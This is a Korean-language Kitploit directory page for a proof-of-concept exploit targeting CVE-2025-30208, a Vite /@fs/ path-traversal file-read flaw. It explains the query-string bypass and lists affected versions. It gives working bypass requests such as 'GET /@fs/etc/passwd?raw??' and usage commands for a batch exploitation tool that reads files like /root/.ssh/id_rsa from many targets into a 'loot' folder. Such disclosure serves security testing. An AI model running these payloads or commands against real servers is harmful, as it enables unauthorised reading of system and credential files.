Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-30208 — Vite /@fs/ transformMiddleware의 경로 탐색 임의 파일 읽기 취약점(CVE-2025-30208)에 대한 익스플로잇 스크립트 PoC입니다. | Kitploit
도구/GitHubGitHub/4xura/cve-2025-30208
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHub4xura/cve-2025-30208

CVE-2025-30208

Vite /@fs/ transformMiddleware의 경로 탐색 임의 파일 읽기 취약점(CVE-2025-30208)에 대한 익스플로잇 스크립트 PoC입니다.

저장소 보기
10521년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-30208

Vite의 /@fs/ 경로 순회로 인한 임의 파일 읽기 취약점(CVE-2025-30208)의 익스플로잇 스크립트 PoC입니다. 자세한 분석은 이 게시글을 참고하세요.

다음 버전 이전에서 취약합니다:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

개요

Vite는 Github과 공식 웹사이트에서 얻을 수 있는 인기 있는 오픈 소스 프로젝트입니다. Vite는 개발 모드에서 절대 파일 경로에 직접 접근할 수 있도록 특수 접두사인 **@fs**를 사용합니다:

root@kitploit:~
GET /@fs/<absolute/path/to/file>

하지만 악용을 방지하기 위해 Vite는 다음과 같은 구성을 사용하여 @fs를 통해 접근할 수 있는 파일을 제한합니다:

root@kitploit:~
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

따라서 이론적으로 허용된 디렉토리 외부의 파일(예: /etc/passwd)은 와 같은 트릭을 사용하더라도 되어야 합니다.

../../../
차단

그러나 결함은 Vite가 (transformMiddleware 미들웨어/함수를 통해) URL을 파싱하고 확인하는 방식에 있습니다. 미들웨어/함수는 ensureServingAccess(url, ...)를 사용하여 /@fs/를 통한 파일 요청이 허용되었는지 확인합니다.

그러나 공격자는 URL에 뒤따르는 쿼리 구분자가 포함된 요청을 조작할 수 있습니다. 예를 들어:

root@kitploit:~
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

이러한 형태는 정규 표현식 필터(rawRE, urlRE)와 보안 검사를 우회합니다. 잘못된 형식의 쿼리 문자열이 여전히 라우트 로직과 일치하기 때문입니다. 어떤 일이 발생하는지 살펴보겠습니다:

  1. 경로는 /@fs/../../../etc/passwd입니다.
  2. 쿼리 문자열은 raw??입니다 (의도적으로 잘못된 형식).
  3. 내부적으로 Vite는 ?와 같은 후행 문자를 제거하거나 정규화하려고 시도하며, 이는 파일 경로가 허용되는지 확인하기 전에 수행됩니다.
  4. 그러나 검사가 쿼리 문자열을 올바르게 파싱하고 일치시키지 못하므로 허용 목록 로직이 적용되지 않습니다.

이는 다음을 의미합니다:

  • 요청이 server.fs.allow 검사를 우회합니다.
  • Vite는 이를 유효한 파일 접근 요청으로 처리합니다.
  • 그리고 /etc/passwd와 같은 임의의 파일이 존재하는 경우 이를 읽어 반환합니다.

PoC 사용법

기본 사용법

root@kitploit:~
python3 poc.py [OPTIONS]

옵션

Flag / Option설명
-u, --url단일 대상 URL (예: example.com:5173)
-f, --file대상 목록이 포함된 파일 (한 줄에 하나의 URL)
-p, --path읽을 파일 시스템 경로 (기본값: /etc/passwd)
-b, --bypass라우트 검증을 우회할 쿼리 문자열 (기본값: ?raw??)
--proxy프록시 URL (예: http://127.0.0.1:8080)
-o, --output익스플로잇 결과를 저장할 출력 디렉토리 (기본값: results)
-t, --threads배치 모드의 스레드 수 (기본값: 10)
-h, --help도움말 메시지를 표시하고 종료

예제

단일 대상 익스플로잇:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173

원하는 파일을 유출하기 위한 사용자 정의 LFI 경로를 사용한 단일 대상:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

여러 대상을 사용한 배치 익스플로잇:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt

사용자 정의 우회 쿼리:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

프록시 사용 (예: Burp Suite):

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

사용자 정의 출력 디렉토리:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -o ./loot

배치 모드에서 스레드 수 증가:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt -t 50
도구 다운로드